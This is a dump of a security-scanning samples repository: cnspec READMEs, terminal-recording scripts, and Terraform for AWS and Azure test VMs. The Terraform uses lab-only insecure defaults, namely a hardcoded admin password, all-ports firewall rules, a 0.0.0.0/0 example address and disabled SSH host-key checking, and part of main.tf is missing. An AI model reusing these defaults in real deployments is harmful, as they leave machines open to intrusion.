7 | ## Pre-requisites
8 |
9 | - You should have the `cnspec` installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up.
10 | - You need an AWS account and the necessary permissions to manage your resources.
11 | - The AWS CLI should be installed and configured with your credentials.
12 |
13 | ## Instructions
14 |
15 | To perform the CIS AWS Foundations Benchmark, you can use the following command with `cnspec`:
16 |
17 | ```bash
18 | cnspec scan aws --policy mondoo-cis-aws-foundations-benchmark
19 | ```
20 |
21 | This command instructs `cnspec` to scan your AWS environment using the CIS Amazon Web Services Foundations Benchmark, discovering all the resources and security issues in your account.
22 |
23 | ## Results
24 |
25 | `cnspec` generates a report detailing the security status of your AWS account according to the CIS AWS Foundations Benchmark. The report will identify any security vulnerabilities or misconfigurations and recommend potential areas for improvement.
26 |
27 | 
28 |
29 | ## Troubleshoot
30 |
31 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool.
32 | - **AWS CLI**: Ensure that AWS CLI is installed and configured correctly. Verify that you are using the correct AWS credentials. If you encounter permission errors, check your AWS IAM role and permissions.
33 | - **Benchmark execution issues**: If the benchmark does not execute as expected, ensure that you have the necessary permissions to access all resources in your AWS account.
34 |
35 | If you encounter a problem that is not addressed in this guide, feel free to raise an issue in this GitHub repository. For more complex or ongoing issues, consider participating in our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
36 |
--------------------------------------------------------------------------------
/aws/cis-benchmark/aws-account-cis-benchmark.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/cis-benchmark/aws-account-cis-benchmark.gif
--------------------------------------------------------------------------------
/aws/cis-benchmark/aws-account-cis-benchmark.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/cis-benchmark/aws-account-cis-benchmark.mp4
--------------------------------------------------------------------------------
/aws/cis-benchmark/recording.tape:
--------------------------------------------------------------------------------
1 | # configure vhs
2 | Set Shell bash
3 | Set FontSize 16
4 | Set Width 1200
5 | Set Height 700
6 | Set PlaybackSpeed 2.0
7 | Set Margin 20
8 | Set MarginFill "#9147FF"
9 | Set BorderRadius 10
10 |
11 | # set output
12 | Output aws-account-cis-benchmark.gif
13 | Output aws-account-cis-benchmark.mp4
14 |
15 | # load environment variables
16 | Hide
17 | Type "source .env"
18 | Enter
19 | Type "clear"
20 | Enter
21 | Sleep 1s
22 | Show
23 |
24 | # run commands
25 | Type "cnspec scan aws --policy mondoo-cis-aws-foundations-benchmark"
26 | Sleep 500ms
27 | Enter
28 | Sleep 60s
--------------------------------------------------------------------------------
/aws/ec2-instance-connect/README.md:
--------------------------------------------------------------------------------
1 | # Scanning an AWS EC2 Instance with cnspec using EC2 Instance Connect
2 |
3 | ## Overview
4 |
5 | This guide walks you through conducting a security scan on an AWS EC2 instance utilizing `cnspec` and EC2 Instance Connect. EC2 Instance Connect provides a secure and auditable means to connect to your instances, thereby eliminating the necessity to have an open public SSH port.
6 |
7 | The security scan will be carried out in accordance with:
8 |
9 | - Vulnerability Management
10 | - CIS AWS Amazon Linux 2 Benchmark
11 |
12 | ## Pre-requisites
13 |
14 | - You should have the `cnspec` tool installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up.
15 | - You need an AWS account and the necessary permissions to manage EC2 instances.
16 | - The AWS CLI should be installed and configured with your credentials.
17 | - Make sure EC2 Instance Connect is configured for your instance.
18 |
19 | ## Instructions
20 |
21 | To begin, create a new AWS EC2 instance. For this guide, we'll be using Amazon Linux 2. Test the connection to the new instance with the following command:
22 |
23 | ```bash
24 | aws ec2-instance-connect ssh --instance-id
25 | ```
26 |
27 | Next, perform a security scan on your EC2 instance using `cnspec` and EC2 Instance Connect:
28 |
29 | ```bash
30 | cnspec scan aws ec2 instance-connect ec2-user@
31 | ```
32 |
33 | This command executes a security scan on your EC2 instance.
34 |
35 | ## Results
36 |
37 | `cnspec` generates a report detailing the vulnerability and security status of the scanned EC2 instance. This report will identify any security vulnerabilities and recommend potential areas for improvement.
38 |
39 | 
40 |
41 | ## Troubleshoot
42 |
43 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool.
44 | - **AWS CLI and EC2 Instance Connect**: Ensure the latest AWS CLI is installed and configured correctly. Verify that you are using the correct region, availability zone, and instance ID. If you encounter permission errors, check your AWS IAM role and permissions.
45 | - **SSH connection issues**: If you cannot connect to your EC2 instance, make sure you are using the correct username (usually "ec2-user" for Amazon Linux instances).
46 |
47 | For more complex or ongoing issues, feel free to participate in our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
48 |
--------------------------------------------------------------------------------
/aws/ec2-instance-connect/aws-ec2-instance.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/ec2-instance-connect/aws-ec2-instance.gif
--------------------------------------------------------------------------------
/aws/ec2-instance-connect/aws-ec2-instance.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/ec2-instance-connect/aws-ec2-instance.mp4
--------------------------------------------------------------------------------
/aws/ec2-instance-connect/recording.tape:
--------------------------------------------------------------------------------
1 | # configure vhs
2 | Set Shell bash
3 | Set FontSize 16
4 | Set Width 1200
5 | Set Height 700
6 | Set PlaybackSpeed 3.0
7 | Set Margin 20
8 | Set MarginFill "#9147FF"
9 | Set BorderRadius 10
10 |
11 | # set output
12 | Output aws-ec2-instance.gif
13 | Output aws-ec2-instance.mp4
14 |
15 | # load environment variables
16 | Hide
17 | Type "source .env"
18 | Enter
19 | Type "clear"
20 | Enter
21 | Sleep 1s
22 | Show
23 |
24 | # run commands
25 | Type "cnspec scan aws ec2 instance-connect ec2-user@i-08f694f3db223553f"
26 | Sleep 500ms
27 | Enter
28 | Sleep 100s
--------------------------------------------------------------------------------
/aws/ec2-instance-proxy/README.md:
--------------------------------------------------------------------------------
1 | # AWS EC2 INSTANCES
2 |
3 | This repository contains Terraform code for provisioning AWS EC2 instances for testing cnspec behind a squid proxy. The code creates the following:
4 |
5 | - AWS VPC
6 | - EC2 Security group for Linux with all ports open to your ip address
7 | - 2 EC instances
8 | - One Debian12 is running the squid proxy (running port 3128)
9 | - One Debian12 is allowed to ssh in and to communicate to the squid proxy (no direct internet access)
10 |
11 | ## Prereqs
12 |
13 | - AWS Account
14 | - Terraform
15 |
16 | ## Provision
17 |
18 | Example `terraform.tfvars`:
19 |
20 | ```coffee
21 | prefix = "ec2-secops-test"
22 |
23 | aws_key_pair_name = "scottford"
24 |
25 | ssh_key = "~/.ssh/ssh-rsa"
26 |
27 | publicIP="1.1.1.1/32"
28 |
29 | linux_instance_type = "t2.medium"
30 | ```
31 |
32 | ```bash
33 | terraform init
34 | terraform plan -out tfplan.out
35 | terraform apply tfplan.out
36 | ```
37 |
38 | ## Test the squid proxy
39 |
40 | ```bash
41 | curl -vk --proxy http://:3128 https://google.de
42 | ```
43 |
44 | Show the proxy connection in the log file
45 |
46 | ```bash
47 | tail -f /var/log/squid/access.log
48 | ```
49 |
--------------------------------------------------------------------------------
/aws/ec2-instance-proxy/amis.tf:
--------------------------------------------------------------------------------
1 | ////////////////////////////////
2 | // AMIs
3 |
4 | data "aws_ami" "debian12" {
5 | most_recent = true
6 |
7 | filter {
8 | name = "name"
9 | values = ["debian-12-amd64-2023*"]
10 | }
11 |
12 | filter {
13 | name = "virtualization-type"
14 | values = ["hvm"]
15 | }
16 |
17 | owners = ["136693071363"]
18 | }
19 |
20 | data "aws_ami" "winserver2022" {
21 | most_recent = true
22 |
23 | filter {
24 | name = "name"
25 | values = ["Windows_Server-2022-English-Full-Base-*"]
26 | }
27 |
28 | filter {
29 | name = "virtualization-type"
30 | values = ["hvm"]
31 | }
32 |
33 | owners = ["801119661308"]
34 | }
--------------------------------------------------------------------------------
/aws/ec2-instance-proxy/main.tf:
--------------------------------------------------------------------------------
1 | resource "random_id" "instance_id" {
2 | byte_length = 4
3 | }
4 |
5 | locals {
6 | linux_proxy_data = <<-EOT
7 | #!/bin/bash
8 | sudo apt update
9 | sudo apt install -y iptables curl squid dnsutils
10 | sudo tee /etc/squid/squid.conf <
51 | $NewPassword = ConvertTo-SecureString "${var.windows_admin_password}" -AsPlainText -Force
52 | Set-LocalUser -Name Administrator -Password $NewPassword
53 | New-NetFirewallRule -DisplayName “AllowRDP” -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow
54 | Set-NetFirewallProfile -Name Public -DefaultOutboundAction Block
55 | Set-NetFirewallProfile -Name Domain -DefaultOutboundAction Block
56 | Set-NetFirewallProfile -Name Private -DefaultOutboundAction Block
57 | New-NetFirewallRule -DisplayName “AllowDNS” -Direction Outbound -Protocol ANY -RemotePort 53 -Action Allow
58 | New-NetFirewallRule -Name Allow10.0.0.0 -DisplayName 'Allow from 10.0.0.0/8' -Enabled True -Direction Outbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress 10.0.0.0/8
59 |
60 | EOT
61 | }
62 |
63 | ////////////////////////////////
64 | // VPC Configuration
65 |
66 | module "vpc" {
67 | source = "terraform-aws-modules/vpc/aws"
68 | version = "~> 5.1.0"
69 |
70 | name = "${var.prefix}-${random_id.instance_id.id}"
71 | cidr = var.vpc_cidr
72 |
73 | azs = ["${var.region}a", "${var.region}b", "${var.region}c"]
74 | private_subnets = var.vpc_private_subnets
75 | public_subnets = var.vpc_public_subnets
76 | enable_nat_gateway = var.vpc_enable_nat_gateway
77 | }
78 |
79 | ////////////////////////////////
80 | // Proxy Security Groups
81 |
82 | module "proxy_sg" {
83 | source = "terraform-aws-modules/security-group/aws"
84 | version = "~> 4.3"
85 |
86 | name = "${var.prefix}-${random_id.instance_id.id}-proxy-sg"
87 | description = "Security group for Proxy instances"
88 | vpc_id = module.vpc.vpc_id
89 |
90 | ingress_with_cidr_blocks = [
91 | {
92 | from_port = 0
93 | to_port = 0
94 | protocol = "-1"
95 | description = "Allow all from my ip"
96 | cidr_blocks = "10.0.0.0/8,${var.publicIP}"
97 | }
98 | ]
99 |
100 | egress_with_cidr_blocks = [
101 | {
102 | from_port = 0
103 | to_port = 0
104 | protocol = "-1"
105 | description = "User-service ports (ipv4)"
106 | cidr_blocks = "0.0.0.0/0"
107 | },
108 | ]
109 | }
110 |
111 | // Debian 12 squid proxy
112 |
113 | module "debian12_proxy" {
114 | source = "terraform-aws-modules/ec2-instance/aws"
115 | version = "~> 5.2.1"
116 |
117 | name = "${var.prefix}-debian12-proxy-${random_id.instance_id.id}"
118 | ami = data.aws_ami.debian12.id
119 | instance_type = var.linux_instance_type
120 | vpc_security_group_ids = [module.proxy_sg.security_group_id]
121 | subnet_id = module.vpc.public_subnets[0]
122 | key_name = var.aws_key_pair_name
123 | user_data = base64encode(local.linux_proxy_data)
124 | user_data_replace_on_change = true
125 | associate_public_ip_address = true
126 | }
127 |
128 | // Debian 12
129 |
130 | module "debian12" {
131 | source = "terraform-aws-modules/ec2-instance/aws"
132 | version = "~> 5.2.1"
133 |
134 | name = "${var.prefix}-debian12-${random_id.instance_id.id}"
135 | ami = data.aws_ami.debian12.id
136 | instance_type = var.linux_instance_type
137 | vpc_security_group_ids = [module.proxy_sg.security_group_id]
138 | subnet_id = module.vpc.public_subnets[0]
139 | key_name = var.aws_key_pair_name
140 | user_data = base64encode(local.linux_data)
141 | user_data_replace_on_change = true
142 | associate_public_ip_address = true
143 | }
144 |
145 | // Windows 2022
146 |
147 | module "windows2022" {
148 | source = "terraform-aws-modules/ec2-instance/aws"
149 | version = "~> 5.2.1"
150 |
151 | name = "${var.prefix}-windows2022-${random_id.instance_id.id}"
152 | ami = data.aws_ami.winserver2022.id
153 | instance_type = var.windows_instance_type
154 | vpc_security_group_ids = [module.proxy_sg.security_group_id]
155 | subnet_id = module.vpc.public_subnets[0]
156 | key_name = var.aws_key_pair_name
157 | associate_public_ip_address = true
158 | user_data = base64encode(local.windows_data)
159 | user_data_replace_on_change = true
160 | get_password_data = true
161 | }
--------------------------------------------------------------------------------
/aws/ec2-instance-proxy/outputs.tf:
--------------------------------------------------------------------------------
1 | output "vpc-name" {
2 | value = module.vpc.name
3 | }
4 |
5 | # debian12
6 | output "debian12" {
7 | value = module.debian12.public_ip == null ? "" : "ssh -o StrictHostKeyChecking=no -i ~/.ssh/${var.aws_key_pair_name} admin@${module.debian12.public_ip}"
8 | }
9 |
10 | output "debian12_proxy" {
11 | value = module.debian12_proxy.public_ip == null ? "" : "ssh -o StrictHostKeyChecking=no -i ~/.ssh/${var.aws_key_pair_name} admin@${module.debian12_proxy.public_ip}"
12 | }
13 |
14 | output "privat_proxy" {
15 | value = "private ip address of the proxy: ${module.debian12_proxy.private_ip}"
16 | }
17 |
18 | # windows2022
19 | output "windows2022" {
20 | value = module.windows2022.public_ip == null ? "" : "xfreerdp /u:Administrator /v:${module.windows2022.public_ip}:3389 /h:1500 /w:2048 /p:'${var.windows_admin_password}'"
21 | }
--------------------------------------------------------------------------------
/aws/ec2-instance-proxy/providers.tf:
--------------------------------------------------------------------------------
1 | provider "aws" {
2 | region = var.region
3 |
4 | default_tags {
5 | tags = var.default_tags
6 | }
7 | }
--------------------------------------------------------------------------------
/aws/ec2-instance-proxy/variables.tf:
--------------------------------------------------------------------------------
1 | ////////////////////////////////
2 | // AWS Credentials
3 |
4 | variable "aws_profile" {
5 | default = "default"
6 | }
7 |
8 | variable "region" {
9 | default = "us-east-1"
10 | }
11 |
12 | ////////////////////////////////
13 | // Global Settings
14 |
15 | variable "prefix" {
16 | description = "Prefix for resource names"
17 | type = string
18 | default = "mondoo"
19 | }
20 |
21 | variable "default_tags" {
22 | description = "Tags to apply to resources created by VPC module"
23 | type = map(string)
24 | default = {
25 | Terraform = "true"
26 | Environment = "Test"
27 | }
28 | }
29 |
30 | variable "mondoo_registration_token" {
31 | description = "cnspec registration key"
32 | type = string
33 | default = ""
34 | }
35 |
36 | variable "ssh_key" {
37 | description = "ssh rsa key to decrypt windows password"
38 | type = string
39 | default = ""
40 | }
41 |
42 | ////////////////////////////////
43 | // VPC Settings
44 |
45 | variable "vpc_cidr" {
46 | description = "CIDR block for VPC"
47 | type = string
48 | default = "10.0.0.0/16"
49 | }
50 |
51 | variable "vpc_private_subnets" {
52 | description = "Private subnets for VPC"
53 | type = list(string)
54 | default = ["10.0.1.0/24", "10.0.2.0/24"]
55 | }
56 |
57 | variable "vpc_public_subnets" {
58 | description = "Public subnets for VPC"
59 | type = list(string)
60 | default = ["10.0.101.0/24", "10.0.102.0/24"]
61 | }
62 |
63 | variable "vpc_enable_nat_gateway" {
64 | description = "Enable NAT gateway for VPC"
65 | type = bool
66 | default = true
67 | }
68 |
69 | ////////////////////////////////
70 | // EC2 Settings
71 |
72 | variable "aws_key_pair_name" {}
73 |
74 | variable "linux_instance_type" {
75 | default = "t2.micro"
76 | }
77 |
78 | variable "windows_instance_type" {
79 | default = "t2.micro"
80 | }
81 |
82 | variable "publicIP" {
83 | description = "Your home PublicIP to configure access to ec2 instances"
84 | }
85 |
86 | variable "windows_admin_password" {
87 | default = "MondooSPM1!"
88 | }
89 |
--------------------------------------------------------------------------------
/aws/ec2-instances/providers.tf:
--------------------------------------------------------------------------------
1 | provider "aws" {
2 | region = var.region
3 |
4 | default_tags {
5 | tags = var.default_tags
6 | }
7 | }
--------------------------------------------------------------------------------
/aws/iam-mfa/README.md:
--------------------------------------------------------------------------------
1 | # Verifying MFA Status for AWS IAM Users
2 |
3 | ## Overview
4 |
5 | This guide demonstrates how to verify that all AWS IAM users have Multi-Factor Authentication (MFA) enabled. Ensuring MFA is crucial in securing your AWS resources as it offers an additional layer of protection by requiring users to provide at least two forms of identification.
6 |
7 | ## Pre-requisites
8 |
9 | - You should have the `cnspec` installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up.
10 | - You need an AWS account and the necessary permissions to manage your resources.
11 | - The AWS CLI should be installed and configured with your credentials.
12 |
13 | ## Instructions
14 |
15 | To perform the MFA check, you can use the following command with `cnspec`:
16 |
17 | ```bash
18 | cnspec scan aws --discover iam-users
19 | ```
20 |
21 | This command lists all IAM users and checks each user for enabled MFA devices. The result will be a list of usernames with their MFA status.
22 |
23 | ## Results
24 |
25 | The output will be a list of IAM usernames with a check on whether MFA is enabled:
26 |
27 | 
28 |
29 | ## Troubleshoot
30 |
31 | - **`cnspec` issues**: Make sure that `cnspec` is installed correctly. If you have trouble running `cnspec`, try updating to the latest version or re-installing the tool.
32 | - **AWS CLI**: Ensure that AWS CLI is installed and configured correctly. Verify that you are using the correct AWS credentials. If you encounter permission errors, check your AWS IAM role and permissions.
33 | - **Policy execution issues**: If the policy does not execute as expected, ensure that you have the necessary permissions to access all resources in your AWS account.
34 |
35 | Should you encounter a problem that is not addressed in this guide, feel free to open an issue in this GitHub repository. For ongoing issues or broader discussions, we invite you to join us over at our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
36 |
--------------------------------------------------------------------------------
/aws/iam-mfa/aws-iam-mfa.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/iam-mfa/aws-iam-mfa.gif
--------------------------------------------------------------------------------
/aws/iam-mfa/aws-iam-mfa.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/iam-mfa/aws-iam-mfa.mp4
--------------------------------------------------------------------------------
/aws/iam-mfa/recording.tape:
--------------------------------------------------------------------------------
1 | # configure vhs
2 | Set Shell bash
3 | Set FontSize 16
4 | Set Width 2400
5 | Set Height 1400
6 | Set PlaybackSpeed 2.0
7 | Set Margin 20
8 | Set MarginFill "#9147FF"
9 | Set BorderRadius 10
10 |
11 | # set output
12 | Output aws-iam-mfa.gif
13 | Output aws-iam-mfa.mp4
14 |
15 | # load environment variables
16 | Hide
17 | Type "source .env"
18 | Enter
19 | Type "clear"
20 | Enter
21 | Sleep 1s
22 | Show
23 |
24 | # run commands
25 | Type "cnspec scan aws --discover iam-users"
26 | Sleep 500ms
27 | Enter
28 | Sleep 80s
--------------------------------------------------------------------------------
/aws/public-s3/README.md:
--------------------------------------------------------------------------------
1 | # Checking Public Exposure of AWS S3 Buckets with cnspec
2 |
3 | ## Overview
4 |
5 | This example uses `cnspec` to check for publicly exposed AWS S3 buckets within your AWS account. Publicly exposed buckets can lead to unauthorized access or data breaches, and it's critical to ensure they are secure.
6 |
7 | ## Pre-requisites
8 |
9 | - You should have an AWS account and the necessary credentials (Access Key ID and Secret Access Key) available.
10 | - Install cnspec following the instructions provided at the installation page of the cnspec GitHub repository.
11 |
12 | ## Instructions
13 |
14 | To scan all your AWS S3 buckets, use the `cnspec` with the scan option, as follows:
15 |
16 | ```bash
17 | cnspec scan aws --discover s3-buckets
18 | ```
19 |
20 | This command will initiate a scan across your AWS S3 buckets and report any that are publicly exposed.
21 |
22 | ## Results
23 |
24 | After running the `cnspec` command, you see a report printed to your console. The report will list all the S3 buckets, their results.
25 |
26 | 
27 |
28 | ## Troubleshoot
29 |
30 | If you encounter any issues while running the scan:
31 |
32 | - **Authentication Issues:** Ensure your AWS credentials are correctly configured. You can do this using the AWS CLI with the command aws configure.
33 |
34 | - **Permission Issues:** Ensure the IAM user or role associated with your credentials has the necessary permissions to list and check the S3 buckets.
35 |
36 | - **`cnspec` Installation Issues:** If you have trouble installing cnspec, ensure you're following the instructions on the installation page correctly.
37 |
38 | Should you encounter a problem that is not addressed in this guide, feel free to open an issue in this GitHub repository. For ongoing issues or broader discussions, we invite you to join us over at our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
39 |
--------------------------------------------------------------------------------
/aws/public-s3/aws-public-s3.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/public-s3/aws-public-s3.gif
--------------------------------------------------------------------------------
/aws/public-s3/aws-public-s3.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/aws/public-s3/aws-public-s3.mp4
--------------------------------------------------------------------------------
/aws/public-s3/recording.tape:
--------------------------------------------------------------------------------
1 | # configure vhs
2 | Set Shell bash
3 | Set FontSize 16
4 | Set Width 1200
5 | Set Height 700
6 | Set PlaybackSpeed 2.0
7 | Set Margin 20
8 | Set MarginFill "#9147FF"
9 | Set BorderRadius 10
10 |
11 | # set output
12 | Output aws-public-s3.gif
13 | Output aws-public-s3.mp4
14 |
15 | # load environment variables
16 | Hide
17 | Type "source .env"
18 | Enter
19 | Type "clear"
20 | Enter
21 | Sleep 1s
22 | Show
23 |
24 | # run commands
25 | Type "cnspec scan aws --discover s3-buckets"
26 | Sleep 500ms
27 | Enter
28 | Sleep 30s
--------------------------------------------------------------------------------
/azure/README.md:
--------------------------------------------------------------------------------
1 | # Setup Windows VMs in Azure
2 |
3 | ## Prereqs
4 |
5 | - Azure Account
6 | - Terraform
7 |
8 | ## Supported Platforms
9 |
10 | | Platform | Description | Variable |
11 | |-----------------------|-------------------------------|--------------------|
12 | | Windows 10 Enterprise | Latest Azure Windows 10 image | `create_windows10` |
13 | | Windows 11 Enterprise | Latest Azure Windows 11 image | `create_windows11` |
14 |
15 |
16 | ## Provision
17 |
18 | - A `terraform.tfvars` file containing those two variables:
19 |
20 | ```coffee
21 | tenant_id = "xxx"
22 | subscription_id = "xxxx"
23 |
24 | publicIP="0.0.0.0/0"
25 | create_windows10 = false
26 | create_windows11 = true
27 | ```
28 |
29 | - A login to Azure via `azure-cli`
30 |
31 | ```bash
32 | az login --use-device-code
33 | ```
34 |
35 | ```bash
36 | terraform init --upgrade
37 | ```
38 |
39 | ```bash
40 | terraform plan -out plan.out
41 | ```
42 |
43 | ```bash
44 | terraform apply -auto-approve plan.out
45 | ```
46 |
47 | ### Connect to VM using `xfreerdp` from Ubuntu
48 |
49 | Run the following command to see the connection details (including sensitive values)
50 |
51 | ```bash
52 | terraform output -raw summary
53 | ```
54 |
55 | ## Find Azure Image
56 |
57 | The command to look-up the values is something along the lines of (takes some time to complete):
58 |
59 | ```bash
60 | az vm image list --offer Windows-11 --output table --all
61 | ```
62 |
63 | ### Issues with provisioning using the `locals` variable.
64 |
65 | As of now it wasn't possible to provision the images further by simply adding a `locals` variable block, like that:
66 |
67 | ```
68 | locals {
69 | windows_user_data_cnspec = <<-EOT
70 |
71 | $hello = "Hello World"
72 | $hello | Out-File C:\debug.txt
73 |
74 | EOT
75 | }
76 | ```
77 |
78 | and using the
79 | ```
80 | custom_data = base64encode(local.windows_user_data_cnspec)
81 | ```
82 |
83 | in the
84 |
85 | ```module"windows11"```
86 |
87 | the same we would on AWS.
--------------------------------------------------------------------------------
/azure/main.tf:
--------------------------------------------------------------------------------
1 | resource "random_string" "suffix" {
2 | length = 4
3 | special = false
4 | upper = false
5 | }
6 |
7 | resource "random_password" "password" {
8 | length = 16
9 | special = true
10 | override_special = "!#$"
11 | min_lower = 1
12 | min_numeric = 1
13 | min_special = 1
14 | min_upper = 1
15 | }
16 |
17 | resource "azurerm_resource_group" "rg" {
18 | name = "rg-${var.prefix}-vms-${random_string.suffix.result}"
19 | location = var.resource_group_location
20 | }
21 |
22 | resource "azurerm_virtual_network" "vnet" {
23 | address_space = [var.vnet_address_space]
24 | location = var.resource_group_location
25 | name = "host${random_string.suffix.result}-vn"
26 | resource_group_name = azurerm_resource_group.rg.name
27 | }
28 |
29 | resource "azurerm_subnet" "subnet" {
30 | count = 1
31 |
32 | # tflint-ignore: terraform_count_index_usage
33 | address_prefixes = [cidrsubnet(var.vnet_address_space, 8, count.index)]
34 | name = "host${random_string.suffix.result}-sn-${count.index + 1}"
35 | resource_group_name = azurerm_resource_group.rg.name
36 | virtual_network_name = azurerm_virtual_network.vnet.name
37 | }
38 |
39 | resource "azurerm_network_security_group" "external_nsg" {
40 | location = var.resource_group_location
41 | name = "${azurerm_resource_group.rg.name}-nsg"
42 | resource_group_name = azurerm_resource_group.rg.name
43 | }
44 |
45 | resource "azurerm_network_security_rule" "vm" {
46 | access = "Allow"
47 | direction = "Inbound"
48 | name = "allow_all"
49 | network_security_group_name = azurerm_network_security_group.external_nsg.name
50 | priority = 101
51 | protocol = "Tcp"
52 | resource_group_name = azurerm_resource_group.rg.name
53 | description = "Allow all"
54 | destination_address_prefix = "*"
55 | destination_port_range = "*"
56 | source_address_prefix = "${var.publicIP}"
57 | source_port_range = "*"
58 | }
59 |
60 | module "windows10" {
61 | count = var.create_windows10 ? 1 : 0
62 | source = "Azure/compute/azurerm"
63 | resource_group_name = azurerm_resource_group.rg.name
64 | is_windows_image = true
65 | vm_hostname = "win10-${random_string.suffix.result}" // line can be removed if only one VM module per resource group
66 | admin_username = "${var.windows_admin_username}"
67 | admin_password = "${var.windows_admin_password}"
68 | vm_os_publisher = "MicrosoftWindowsDesktop"
69 | vm_os_offer = "windows-10"
70 | vm_os_sku = "win10-22h2-entn-g2"
71 | vm_os_version = "latest"
72 | public_ip_dns = ["win10-simpleip-${random_string.suffix.result}"]
73 | vnet_subnet_id = azurerm_subnet.subnet[0].id
74 | network_security_group = {
75 | id = azurerm_network_security_group.external_nsg.id
76 | }
77 |
78 | depends_on = [azurerm_resource_group.rg]
79 | }
80 |
81 | module "windows11" {
82 | count = var.create_windows11 ? 1 : 0
83 | source = "Azure/compute/azurerm"
84 | resource_group_name = azurerm_resource_group.rg.name
85 | is_windows_image = true
86 | vm_hostname = "win11-${random_string.suffix.result}" // line can be removed if only one VM module per resource group
87 | admin_username = "${var.windows_admin_username}"
88 | admin_password = "${var.windows_admin_password}"
89 | vm_os_publisher = "MicrosoftWindowsDesktop"
90 | vm_os_offer = "windows-11"
91 | vm_os_sku = "win11-23h2-entn"
92 | vm_os_version = "latest"
93 | public_ip_dns = ["win11-simpleip-${random_string.suffix.result}"]
94 | vnet_subnet_id = azurerm_subnet.subnet[0].id
95 | network_security_group = {
96 | id = azurerm_network_security_group.external_nsg.id
97 | }
98 |
99 | depends_on = [azurerm_resource_group.rg]
100 | }
--------------------------------------------------------------------------------
/azure/output.tf:
--------------------------------------------------------------------------------
1 |
2 | output "windows_10" {
3 | value = module.windows10 == [] ? [""] : module.windows10[0].public_ip_dns_name
4 | }
5 |
6 | output "windows_11" {
7 | value = module.windows11 == [] ? [""] : module.windows11[0].public_ip_dns_name
8 | }
9 |
10 | output "username_password" {
11 | value = "Username: ${var.windows_admin_username}, Password: ${var.windows_admin_password}"
12 | }
--------------------------------------------------------------------------------
/azure/variables.tf:
--------------------------------------------------------------------------------
1 | variable "resource_group_name_prefix" {
2 | default = "rg"
3 | description = "Prefix of the resource group name that's combined with a random ID so name is unique in your Azure subscription."
4 | }
5 |
6 | variable "resource_group_location" {
7 | default = "eastus"
8 | description = "Location of the resource group."
9 | }
10 |
11 | variable "tenant_id" {
12 | type = string
13 | description = "The tenant to use"
14 | }
15 |
16 | variable "subscription_id" {
17 | type = string
18 | description = "The subscription to use."
19 | }
20 |
21 | variable "prefix" {
22 | description = "Prefix for resource names"
23 | type = string
24 | default = "mondoo-security"
25 | }
26 |
27 | variable "vnet_address_space" {
28 | description = "The address space that is used the virtual network"
29 | type = string
30 | default = "10.0.0.0/16"
31 | }
32 |
33 | variable "publicIP" {
34 | description = "Your home PublicIP to configure access to ec2 instances"
35 | }
36 |
37 | variable "windows_admin_username" {
38 | default = "adminuser"
39 | }
40 |
41 | variable "windows_admin_password" {
42 | default = "MondooSPM1!"
43 | }
44 |
45 | variable "create_windows10" {
46 | default = false
47 | }
48 |
49 | variable "create_windows11" {
50 | default = false
51 | }
--------------------------------------------------------------------------------
/azure/versions.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_providers {
3 | azurerm = {
4 | source = "hashicorp/azurerm"
5 | #version = "~>3.0"
6 | version = " 3.75.0"
7 | }
8 |
9 | random = {
10 | source = "hashicorp/random"
11 | version = "~> 3.1.0"
12 | }
13 |
14 | local = {
15 | source = "hashicorp/local"
16 | version = "~> 2.2.0"
17 | }
18 |
19 | null = {
20 | source = "hashicorp/null"
21 | version = "~> 3.1.0"
22 | }
23 |
24 | kubernetes = {
25 | source = "hashicorp/kubernetes"
26 | version = "~> 2.10.0"
27 | }
28 |
29 | docker = {
30 | source = "kreuzwerker/docker"
31 | version = "~> 2.16.0"
32 | }
33 | }
34 | }
35 |
36 | provider "azurerm" {
37 | features {
38 | resource_group {
39 | prevent_deletion_if_contains_resources = false
40 | }
41 | }
42 | tenant_id = var.tenant_id
43 | subscription_id = var.subscription_id
44 | }
45 |
--------------------------------------------------------------------------------
/gcp/cis-benchmark/README.md:
--------------------------------------------------------------------------------
1 | # Scan a GCP Project against the CIS GCP Foundations Benchmark using cnspec
2 |
3 | ## Overview
4 |
5 | This guide provides an example on how to scan a GCP project against the CIS Google Cloud Foundations Benchmark using `cnspec`. The CIS (Center for Internet Security) Google Cloud Foundations Benchmark provides a set of security configuration best practices for Google Cloud. Performing this benchmark will help ensure that your GCP project is secure and adheres to the principles of least privilege and defense in depth.
6 |
7 | ## Pre-requisites
8 |
9 | - You should have the `cnspec` installed. You can follow the [installation instructions](https://github.com/mondoohq/cnspec#installation) to set it up.
10 | - You need an Google Cloud service account and the necessary permissions.
11 | - The Google Cloud SDK installed and configured with access to the project you wish to scan.
12 |
13 | ## Instructions
14 |
